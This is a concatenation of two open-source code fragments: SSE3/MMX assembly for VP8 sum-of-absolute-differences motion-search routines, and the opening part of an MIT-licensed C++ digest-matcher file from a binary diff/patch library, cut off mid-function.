psadbw xmm6, xmm0
psadbw xmm7, xmm0
%else
movdqa xmm0, XMMWORD PTR [rsi]
lddqu xmm1, XMMWORD PTR [rcx]
lddqu xmm2, XMMWORD PTR [rdx]
lddqu xmm3, XMMWORD PTR [rbx]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm4, xmm1
lddqu xmm1, XMMWORD PTR [rdi]
paddw xmm5, xmm2
paddw xmm6, xmm3
psadbw xmm1, xmm0
paddw xmm7, xmm1
%endif
movdqa xmm0, XMMWORD PTR [rsi+rax]
lddqu xmm1, XMMWORD PTR [rcx+rbp]
lddqu xmm2, XMMWORD PTR [rdx+rbp]
lddqu xmm3, XMMWORD PTR [rbx+rbp]
psadbw xmm1, xmm0
psadbw xmm2, xmm0
psadbw xmm3, xmm0
paddw xmm4, xmm1
lddqu xmm1, XMMWORD PTR [rdi+rbp]
paddw xmm5, xmm2
paddw xmm6, xmm3
lea rsi, [rsi+rax*2]
lea rcx, [rcx+rbp*2]
lea rdx, [rdx+rbp*2]
lea rbx, [rbx+rbp*2]
lea rdi, [rdi+rbp*2]
psadbw xmm1, xmm0
paddw xmm7, xmm1
%endmacro
%macro PROCESS_8X2X4 1
%if %1
movq mm0, QWORD PTR [rsi]
movq mm4, QWORD PTR [rcx]
movq mm5, QWORD PTR [rdx]
movq mm6, QWORD PTR [rbx]
movq mm7, QWORD PTR [rdi]
psadbw mm4, mm0
psadbw mm5, mm0
psadbw mm6, mm0
psadbw mm7, mm0
%else
movq mm0, QWORD PTR [rsi]
movq mm1, QWORD PTR [rcx]
movq mm2, QWORD PTR [rdx]
movq mm3, QWORD PTR [rbx]
psadbw mm1, mm0
psadbw mm2, mm0
psadbw mm3, mm0
paddw mm4, mm1
movq mm1, QWORD PTR [rdi]
paddw mm5, mm2
paddw mm6, mm3
psadbw mm1, mm0
paddw mm7, mm1
%endif
movq mm0, QWORD PTR [rsi+rax]
movq mm1, QWORD PTR [rcx+rbp]
movq mm2, QWORD PTR [rdx+rbp]
movq mm3, QWORD PTR [rbx+rbp]
psadbw mm1, mm0
psadbw mm2, mm0
psadbw mm3, mm0
paddw mm4, mm1
movq mm1, QWORD PTR [rdi+rbp]
paddw mm5, mm2
paddw mm6, mm3
lea rsi, [rsi+rax*2]
lea rcx, [rcx+rbp*2]
lea rdx, [rdx+rbp*2]
lea rbx, [rbx+rbp*2]
lea rdi, [rdi+rbp*2]
psadbw mm1, mm0
paddw mm7, mm1
%endmacro
;void int vp8_sad16x16x3_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad16x16x3_sse3)
sym(vp8_sad16x16x3_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
PROCESS_16X2X3 1
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
mov rdi, arg(4) ;Results
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+4], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+8], xmm0
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad16x8x3_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad16x8x3_sse3)
sym(vp8_sad16x8x3_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
PROCESS_16X2X3 1
PROCESS_16X2X3 0
PROCESS_16X2X3 0
PROCESS_16X2X3 0
mov rdi, arg(4) ;Results
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+4], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+8], xmm0
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad8x16x3_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad8x16x3_sse3)
sym(vp8_sad8x16x3_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
PROCESS_8X2X3 1
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
mov rdi, arg(4) ;Results
movd [rdi], mm5
movd [rdi+4], mm6
movd [rdi+8], mm7
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad8x8x3_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad8x8x3_sse3)
sym(vp8_sad8x8x3_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
PROCESS_8X2X3 1
PROCESS_8X2X3 0
PROCESS_8X2X3 0
PROCESS_8X2X3 0
mov rdi, arg(4) ;Results
movd [rdi], mm5
movd [rdi+4], mm6
movd [rdi+8], mm7
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad4x4x3_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad4x4x3_sse3)
sym(vp8_sad4x4x3_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rax, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
movd mm0, DWORD PTR [rsi]
movd mm1, DWORD PTR [rdi]
movd mm2, DWORD PTR [rsi+rax]
movd mm3, DWORD PTR [rdi+rdx]
punpcklbw mm0, mm2
punpcklbw mm1, mm3
movd mm4, DWORD PTR [rdi+1]
movd mm5, DWORD PTR [rdi+2]
movd mm2, DWORD PTR [rdi+rdx+1]
movd mm3, DWORD PTR [rdi+rdx+2]
psadbw mm1, mm0
punpcklbw mm4, mm2
punpcklbw mm5, mm3
psadbw mm4, mm0
psadbw mm5, mm0
lea rsi, [rsi+rax*2]
lea rdi, [rdi+rdx*2]
movd mm0, DWORD PTR [rsi]
movd mm2, DWORD PTR [rdi]
movd mm3, DWORD PTR [rsi+rax]
movd mm6, DWORD PTR [rdi+rdx]
punpcklbw mm0, mm3
punpcklbw mm2, mm6
movd mm3, DWORD PTR [rdi+1]
movd mm7, DWORD PTR [rdi+2]
psadbw mm2, mm0
paddw mm1, mm2
movd mm2, DWORD PTR [rdi+rdx+1]
movd mm6, DWORD PTR [rdi+rdx+2]
punpcklbw mm3, mm2
punpcklbw mm7, mm6
psadbw mm3, mm0
psadbw mm7, mm0
paddw mm3, mm4
paddw mm7, mm5
mov rdi, arg(4) ;Results
movd [rdi], mm1
movd [rdi+4], mm3
movd [rdi+8], mm7
; begin epilog
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;unsigned int vp8_sad16x16_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int max_err)
;%define lddqu movdqu
global sym(vp8_sad16x16_sse3)
sym(vp8_sad16x16_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rbx
push rsi
push rdi
; end prolog
mov rsi, arg(0) ;src_ptr
mov rdi, arg(2) ;ref_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rdx, dword ptr arg(3) ;ref_stride
lea rcx, [rsi+rbx*8]
lea rcx, [rcx+rbx*8]
pxor mm7, mm7
vp8_sad16x16_sse3_loop:
movq rax, mm7
cmp rax, arg(4)
jg vp8_sad16x16_early_exit
movq mm0, QWORD PTR [rsi]
movq mm2, QWORD PTR [rsi+8]
movq mm1, QWORD PTR [rdi]
movq mm3, QWORD PTR [rdi+8]
movq mm4, QWORD PTR [rsi+rbx]
movq mm5, QWORD PTR [rdi+rdx]
psadbw mm0, mm1
psadbw mm2, mm3
movq mm1, QWORD PTR [rsi+rbx+8]
movq mm3, QWORD PTR [rdi+rdx+8]
psadbw mm4, mm5
psadbw mm1, mm3
lea rsi, [rsi+rbx*2]
lea rdi, [rdi+rdx*2]
paddw mm0, mm2
paddw mm4, mm1
paddw mm7, mm0
paddw mm7, mm4
cmp rsi, rcx
jne vp8_sad16x16_sse3_loop
movq rax, mm7
vp8_sad16x16_early_exit:
; begin epilog
pop rdi
pop rsi
pop rbx
UNSHADOW_ARGS
pop rbp
ret
;void vp8_sad16x16x4d_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr_base,
; int ref_stride,
; int *results)
global sym(vp8_sad16x16x4d_sse3)
sym(vp8_sad16x16x4d_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
push rbx
; end prolog
push rbp
mov rdi, arg(2) ; ref_ptr_base
LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi
mov rsi, arg(0) ;src_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rbp, dword ptr arg(3) ;ref_stride
xchg rbx, rax
PROCESS_16X2X4 1
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
pop rbp
mov rdi, arg(4) ;Results
movq xmm0, xmm4
psrldq xmm4, 8
paddw xmm0, xmm4
movd [rdi], xmm0
;-
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi+4], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+8], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+12], xmm0
; begin epilog
pop rbx
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void vp8_sad16x8x4d_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr_base,
; int ref_stride,
; int *results)
global sym(vp8_sad16x8x4d_sse3)
sym(vp8_sad16x8x4d_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
push rbx
; end prolog
push rbp
mov rdi, arg(2) ; ref_ptr_base
LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi
mov rsi, arg(0) ;src_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rbp, dword ptr arg(3) ;ref_stride
xchg rbx, rax
PROCESS_16X2X4 1
PROCESS_16X2X4 0
PROCESS_16X2X4 0
PROCESS_16X2X4 0
pop rbp
mov rdi, arg(4) ;Results
movq xmm0, xmm4
psrldq xmm4, 8
paddw xmm0, xmm4
movd [rdi], xmm0
;-
movq xmm0, xmm5
psrldq xmm5, 8
paddw xmm0, xmm5
movd [rdi+4], xmm0
;-
movq xmm0, xmm6
psrldq xmm6, 8
paddw xmm0, xmm6
movd [rdi+8], xmm0
;-
movq xmm0, xmm7
psrldq xmm7, 8
paddw xmm0, xmm7
movd [rdi+12], xmm0
; begin epilog
pop rbx
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad8x16x4d_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad8x16x4d_sse3)
sym(vp8_sad8x16x4d_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
push rbx
; end prolog
push rbp
mov rdi, arg(2) ; ref_ptr_base
LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi
mov rsi, arg(0) ;src_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rbp, dword ptr arg(3) ;ref_stride
xchg rbx, rax
PROCESS_8X2X4 1
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
pop rbp
mov rdi, arg(4) ;Results
movd [rdi], mm4
movd [rdi+4], mm5
movd [rdi+8], mm6
movd [rdi+12], mm7
; begin epilog
pop rbx
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad8x8x4d_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad8x8x4d_sse3)
sym(vp8_sad8x8x4d_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
push rbx
; end prolog
push rbp
mov rdi, arg(2) ; ref_ptr_base
LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi
mov rsi, arg(0) ;src_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rbp, dword ptr arg(3) ;ref_stride
xchg rbx, rax
PROCESS_8X2X4 1
PROCESS_8X2X4 0
PROCESS_8X2X4 0
PROCESS_8X2X4 0
pop rbp
mov rdi, arg(4) ;Results
movd [rdi], mm4
movd [rdi+4], mm5
movd [rdi+8], mm6
movd [rdi+12], mm7
; begin epilog
pop rbx
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
;void int vp8_sad4x4x4d_sse3(
; unsigned char *src_ptr,
; int src_stride,
; unsigned char *ref_ptr,
; int ref_stride,
; int *results)
global sym(vp8_sad4x4x4d_sse3)
sym(vp8_sad4x4x4d_sse3):
push rbp
mov rbp, rsp
SHADOW_ARGS_TO_STACK 5
push rsi
push rdi
push rbx
; end prolog
push rbp
mov rdi, arg(2) ; ref_ptr_base
LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi
mov rsi, arg(0) ;src_ptr
movsxd rbx, dword ptr arg(1) ;src_stride
movsxd rbp, dword ptr arg(3) ;ref_stride
xchg rbx, rax
movd mm0, DWORD PTR [rsi]
movd mm1, DWORD PTR [rcx]
movd mm2, DWORD PTR [rsi+rax]
movd mm3, DWORD PTR [rcx+rbp]
punpcklbw mm0, mm2
punpcklbw mm1, mm3
movd mm4, DWORD PTR [rdx]
movd mm5, DWORD PTR [rbx]
movd mm6, DWORD PTR [rdi]
movd mm2, DWORD PTR [rdx+rbp]
movd mm3, DWORD PTR [rbx+rbp]
movd mm7, DWORD PTR [rdi+rbp]
psadbw mm1, mm0
punpcklbw mm4, mm2
punpcklbw mm5, mm3
punpcklbw mm6, mm7
psadbw mm4, mm0
psadbw mm5, mm0
psadbw mm6, mm0
lea rsi, [rsi+rax*2]
lea rcx, [rcx+rbp*2]
lea rdx, [rdx+rbp*2]
lea rbx, [rbx+rbp*2]
lea rdi, [rdi+rbp*2]
movd mm0, DWORD PTR [rsi]
movd mm2, DWORD PTR [rcx]
movd mm3, DWORD PTR [rsi+rax]
movd mm7, DWORD PTR [rcx+rbp]
punpcklbw mm0, mm3
punpcklbw mm2, mm7
movd mm3, DWORD PTR [rdx]
movd mm7, DWORD PTR [rbx]
psadbw mm2, mm0
mov rax, rbp
pop rbp
mov rsi, arg(4) ;Results
paddw mm1, mm2
movd [rsi], mm1
movd mm2, DWORD PTR [rdx+rax]
movd mm1, DWORD PTR [rbx+rax]
punpcklbw mm3, mm2
punpcklbw mm7, mm1
psadbw mm3, mm0
psadbw mm7, mm0
movd mm2, DWORD PTR [rdi]
movd mm1, DWORD PTR [rdi+rax]
paddw mm3, mm4
paddw mm7, mm5
movd [rsi+4], mm3
punpcklbw mm2, mm1
movd [rsi+8], mm7
psadbw mm2, mm0
paddw mm2, mm6
movd [rsi+12], mm2
; begin epilog
pop rbx
pop rdi
pop rsi
UNSHADOW_ARGS
pop rbp
ret
|
//digest_macher.cpp
/*
The MIT License (MIT)
Copyright (c) 2012-2017 HouSisong
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#include "digest_matcher.h"
#include <stdexcept> //std::runtime_error
#include <algorithm> //std::sort,std::equal_range
#include "../compress_detect.h" //_getUIntCost
namespace hdiff_private{
static const size_t kMinTrustMatchedLength=1024*16;
static const size_t kMinMatchedLength = 16;
static const size_t kBestReadSize=1024*256; //for sequence read
static const size_t kMinReadSize=1024; //for random first read speed
static const size_t kMinBackupReadSize=256;
static const size_t kMatchBlockSize_min=4;
static const size_t kMaxMatchRange=1024*64;
static const size_t kMaxLinkIndexFindSize=64;
#define readStream(stream,pos,dst,n) { \
if (((n)>0)&&(!(stream)->read(stream,pos,dst,dst+(n)))) \
throw std::runtime_error("TStreamCache::_resetPos_continue() stream->read() error!"); }
struct TStreamCache{
TStreamCache(const hpatch_TStreamInput* _stream,
unsigned char* _cache,size_t _cacheSize)
:stream(_stream),m_readPos(0),m_readPosEnd(0),
cache(_cache),cacheSize(_cacheSize),cachePos(_cacheSize){ }
inline hpatch_StreamPos_t streamSize()const{ return stream->streamSize; }
inline hpatch_StreamPos_t pos()const { return m_readPosEnd-dataLength(); }
inline const size_t dataLength()const{ return (size_t)(cacheSize-cachePos); }
inline const unsigned char* data()const { return cache+cachePos; }
inline bool resetPos(size_t kBackupCacheSize,hpatch_StreamPos_t streamPos,size_t kMinCacheDataSize){
if (_is_hit_cache(kBackupCacheSize,streamPos,kMinCacheDataSize)){
cachePos=cacheSize-(size_t)(m_readPosEnd-streamPos);
return true; //hit cache
}
return _resetPos_continue(kBackupCacheSize,streamPos,kMinCacheDataSize);
}
protected:
inline bool _is_hit_cache(size_t kBackupCacheSize,hpatch_StreamPos_t streamPos,size_t kMinCacheDataSize){
return (streamPos+kMinCacheDataSize<=m_readPosEnd)&&(streamPos>=m_readPos+kBackupCacheSize);
}
inline unsigned char* cachedData(){ return cache+cacheSize-cachedLength(); }
inline const size_t cachedLength()const{ return (size_t)(m_readPosEnd-m_readPos); }
bool _resetPos_continue(size_t kBackupCacheSize,hpatch_StreamPos_t streamPos,size_t kMinCacheDataSize){
//stream:[... | | | | | ...]
// readPos (streamPos-kBackupCacheSize) streamPos (streamPos+kMinCacheDataSize) (readPosEnd)
//cache: [ | | | ]
// 0 (init cachePos) cacheSize
hpatch_StreamPos_t streamSize=stream->streamSize;
if (streamPos+kMinCacheDataSize>streamSize) return false;
hpatch_StreamPos_t readPos=(streamPos>=kBackupCacheSize)?(streamPos-kBackupCacheSize):0;
size_t readLen=((streamSize-readPos)>=cacheSize)?cacheSize:(size_t)(streamSize-readPos);
unsigned char* dst=cache+cacheSize-readLen;
if ((m_readPosEnd>readPos)&&(m_readPos<=readPos)){
size_t moveLen=(size_t)(m_readPosEnd-readPos);
memmove(dst,cache+cacheSize-moveLen,moveLen);
readStream(stream,readPos+moveLen,dst+moveLen,readLen-moveLen);
}else if ((m_readPos<readPos+readLen)&&(m_readPosEnd>=readPos+readLen)){
size_t moveLen=(size_t)(readPos+readLen-m_readPos);
memmove(dst+readLen-moveLen,cachedData(),moveLen);
readStream(stream,readPos,dst,readLen-moveLen);
}else{
readStream(stream,readPos,dst,readLen);
}
m_readPos=readPos;
m_readPosEnd=readPos+readLen;
cachePos=cacheSize-(size_t)(m_readPosEnd-streamPos);
return true;
}
private:
const hpatch_TStreamInput* stream;
protected:
hpatch_StreamPos_t m_readPos;
hpatch_StreamPos_t m_readPosEnd;
unsigned char* cache;
size_t cacheSize;
size_t cachePos;
};
template <class T,class Tn>
inline static T upperCount(T all_size,Tn node_size){ return (all_size+node_size-1)/node_size; }
inline static size_t getBackupSize(size_t kMatchBlockSize) {
return (kMatchBlockSize>=kMinBackupReadSize)?kMatchBlockSize:kMinBackupReadSize; }
static hpatch_StreamPos_t getBlockCount(size_t kMatchBlockSize,
hpatch_StreamPos_t streamSize){
return upperCount(streamSize,kMatchBlockSize);
}
static hpatch_StreamPos_t blockIndexToPos(size_t index,size_t kMatchBlockSize,
hpatch_StreamPos_t streamSize){
hpatch_StreamPos_t pos=(hpatch_StreamPos_t)index * kMatchBlockSize;
if (pos+kMatchBlockSize>streamSize)
pos=streamSize-kMatchBlockSize;
return pos;
}
static size_t posToBlockIndex(hpatch_StreamPos_t pos,size_t kMatchBlockSize,size_t blocksSize){
size_t result=(size_t)((pos+(kMatchBlockSize>>1))/kMatchBlockSize);
if (result>=blocksSize) result=blocksSize-1;
return result;
}
TDigestMatcher::~TDigestMatcher(){
}
TDigestMatcher::TDigestMatcher(const hpatch_TStreamInput* oldData,size_t kMatchBlockSize,bool kIsSkipSameRange)
:m_oldData(oldData),m_isUseLargeSorted(true),m_kIsSkipSameRange(kIsSkipSameRange),
m_newCacheSize(0),m_oldCacheSize(0),m_oldMinCacheSize(0),m_backupCacheSize(0),m_kMatchBlockSize(0){
if (kMatchBlockSize>(oldData->streamSize+1)/2)
kMatchBlockSize=(size_t)((oldData->streamSize+1)/2);
if (kMatchBlockSize<kMatchBlockSize_min)
kMatchBlockSize=kMatchBlockSize_min;
if (oldData->streamSize<kMatchBlockSize) return;
m_kMatchBlockSize=kMatchBlockSize;
hpatch_StreamPos_t _blockCount=getBlockCount(m_kMatchBlockSize,m_oldData->streamSize);
m_isUseLargeSorted=(_blockCount>=((hpatch_StreamPos_t)1<<32));
const size_t blockCount=(size_t)_blockCount;
if (blockCount!=_blockCount)
throw std::runtime_error("TDataDigest() oldData->streamSize/MatchBlockSize too big error!");
m_blocks.resize(blockCount);
if (m_isUseLargeSorted)
m_sorted_larger.resize(blockCount);
else
m_sorted_limit.resize(blockCount);
m_backupCacheSize=getBackupSize(m_kMatchBlockSize);
m_newCacheSize=upperCount(m_kMatchBlockSize*2+m_backupCacheSize,kBestReadSize)*kBestReadSize;
m_oldCacheSize=upperCount(m_kMatchBlockSize+m_backupCacheSize,kBestReadSize)*kBestReadSize;
m_oldMinCacheSize=upperCount(m_kMatchBlockSize+m_backupCacheSize,kMinReadSize)*kMinReadSize;
assert(m_oldMinCacheSize<=m_oldCacheSize);
m_mem.realloc(m_newCacheSize+m_oldCacheSize);
getDigests();
}
struct TIndex_comp{
inline TIndex_comp(const adler_uint_t* _blocks,size_t _n,size_t _kMaxDeep)
:blocks(_blocks),n(_n),kMaxDeep(_kMaxDeep){ }
template<class TIndex>
inline bool operator()(TIndex x,TIndex y)const {
adler_uint_t xd=blocks[x];
adler_uint_t yd=blocks[y];
if (xd!=yd)
return xd<yd;
else
return _cmp(x+1,y+1,n,kMaxDeep,blocks);
}
private:
const adler_uint_t* blocks;
const size_t n;
const size_t kMaxDeep;
template<class TIndex>
static bool _cmp(TIndex x,TIndex y,size_t n,size_t kMaxDeep,
const adler_uint_t* blocks) {
if (x!=y) {} else{ return false; }
size_t deep=n-((x>y)?x:y);
deep=(deep<=kMaxDeep)?deep:kMaxDeep;
for (size_t i=0;i<deep;++i){
adler_uint_t xd=blocks[x++];
adler_uint_t yd=blocks[y++];
if (xd!=yd)
return xd<yd;
}
return x>y;
}
};
void TDigestMatcher::getDigests(){
if (m_blocks.empty()) return;
const size_t blockCount=m_blocks.size();
m_filter.init(blockCount);
TStreamCache streamCache(m_oldData,m_mem.data(),m_newCacheSize+m_oldCacheSize);
for (size_t i=0; i<blockCount; ++i) {
hpatch_StreamPos_t readPos=blockIndexToPos(i,m_kMatchBlockSize,m_oldData->streamSize);
streamCache.resetPos(0,readPos,m_kMatchBlockSize);
adler_uint_t adler=adler_start(streamCache.data(),m_kMatchBlockSize);
m_filter.insert(adler_to_hash(adler));
m_blocks[i]=adler;
if (m_isUseLargeSorted)
m_sorted_larger[i]=i;
else
m_sorted_limit[i]=(uint32_t)i;
}
size_t kMaxCmpDeep= 1 + upperCount(kMinTrustMatchedLength,m_kMatchBlockSize);
TIndex_comp comp(m_blocks.data(),m_blocks.size(),kMaxCmpDeep);
if (m_isUseLargeSorted)
std::sort(m_sorted_larger.begin(),m_sorted_larger.end(),comp);
else
std::sort(m_sorted_limit.begin(),m_sorted_limit.end(),comp);
}
struct TBlockStreamCache:public TStreamCache{
TBlockStreamCache(const hpatch_TStreamInput* _stream,unsigned char* _cache,
size_t _cacheSize,size_t _backupCacheSize, size_t _kMatchBlockSize)
:TStreamCache(_stream,_cache,_cacheSize),
backupCacheSize(_backupCacheSize),kMatchBlockSize(_kMatchBlockSize){
assert(cacheSize>=(backupCacheSize+kMatchBlockSize)); }
inline bool resetPos(hpatch_StreamPos_t streamPos){
return TStreamCache::resetPos(backupCacheSize,streamPos,kMatchBlockSize);
}
public:
inline bool _loop_backward_cache(size_t skipLen,size_t needDataSize){
return TStreamCache::resetPos(0,pos()+skipLen,needDataSize);
}
size_t forward_equal_length(const TBlockStreamCache& y)const{
size_t y_len=(size_t)(y.pos()-y.m_readPos);
size_t len=(size_t)(pos()-m_readPos);
len=(len<y_len)?len:y_len;
const unsigned char* px=data();
const unsigned char* py=y.data();
size_t i=0;
for (;i<len;++i){
if (*(--px) != *(--py)) break;
}
return i;
}
public:
const size_t backupCacheSize;
const size_t kMatchBlockSize;
};
struct TOldStreamCache:public TBlockStreamCache{
TOldStreamCache(const hpatch_TStreamInput* _stream,unsigned char* _cache,
size_t _minCacheSize,size_t _maxCacheSize,
size_t _backupCacheSize,size_t _kMatchBlockSize)
:TBlockStreamCache(_stream,_cache+_maxCacheSize-_minCacheSize,
_minCacheSize, _backupCacheSize,_kMatchBlockSize),
minCacheSize(_minCacheSize),maxCacheSize(_maxCacheSize){ }
inline bool resetPos(hpatch_StreamPos_t streamPos){
if (!_is_hit_cache(backupCacheSize,streamPos,kMatchBlockSize))
_doMinCacheSize();
return TBlockStreamCache::resetPos(streamPos);
}
hpatch_StreamPos_t loop_backward_equal_length(TBlockStreamCache& y){
if (!_loop_backward_cache(kMatchBlockSize,1)) return 0;
if (!y._loop_backward_cache(kMatchBlockSize,1)) return 0;
hpatch_StreamPos_t eq_len=0;
while(true){
const size_t xLen=dataLength();
size_t len=y.dataLength();
len=(len>=xLen)?xLen:len;
const unsigned char* px=data();
const unsigned char* py=y.data();
for (size_t i=0;i<len;++i){
if (px[i]!=py[i])
return eq_len+i;
}
eq_len+=len;
if ((len==xLen)&(cacheSize<maxCacheSize))
_doGrowCacheSize();
if (!_loop_backward_cache(len,1)) break;
if (!y._loop_backward_cache(len,1)) break;
}
return eq_len;
}
private:
const size_t minCacheSize;
const size_t maxCacheSize;
inline void _doMinCacheSize(){
cache +=cacheSize-minCacheSize;
cacheSize=minCacheSize;
cachePos =minCacheSize;
m_readPos=(cachedLength()<=cacheSize)?m_readPos:m_readPosEnd-cacheSize;
}
inline void _doGrowCacheSize(){
const size_t growSize=(cacheSize*2<=maxCacheSize)?cacheSize:(maxCacheSize-cacheSize);
cache -=growSize;
cacheSize+=growSize;
cachePos +=growSize;
}
};
struct TNewStreamCache:public TBlockStreamCache{
TNewStreamCache(const hpatch_TStreamInput* _stream,unsigned char* _cache,
size_t _cacheSize,size_t _backupCacheSize,size_t _kMatchBlockSize)
:TBlockStreamCache(_stream,_cache,_cacheSize,_backupCacheSize,_kMatchBlockSize){
resetPos(0);
}
void toBestDataLength(){
if (dataLength()*2>=cacheSize) return;
bool result=_resetPos_continue(backupCacheSize,pos(),kMatchBlockSize);
assert(result);
}
inline bool resetPos(hpatch_StreamPos_t streamPos){
if (!TBlockStreamCache::resetPos(streamPos)) return false;
roll_digest=adler_start(data(),kMatchBlockSize);
return true;
}
inline bool roll(){
//warning: after running _loop_backward_cache(),cache roll logic is failure
if (dataLength()>kMatchBlockSize){
const unsigned char* cur_datas=data();
roll_digest=adler_roll(roll_digest,kMatchBlockSize,cur_datas[0],cur_datas[kMatchBlockSize]);
++cachePos;
return true;
}else{
if (!TBlockStreamCache::resetPos(pos()+1)) return false;
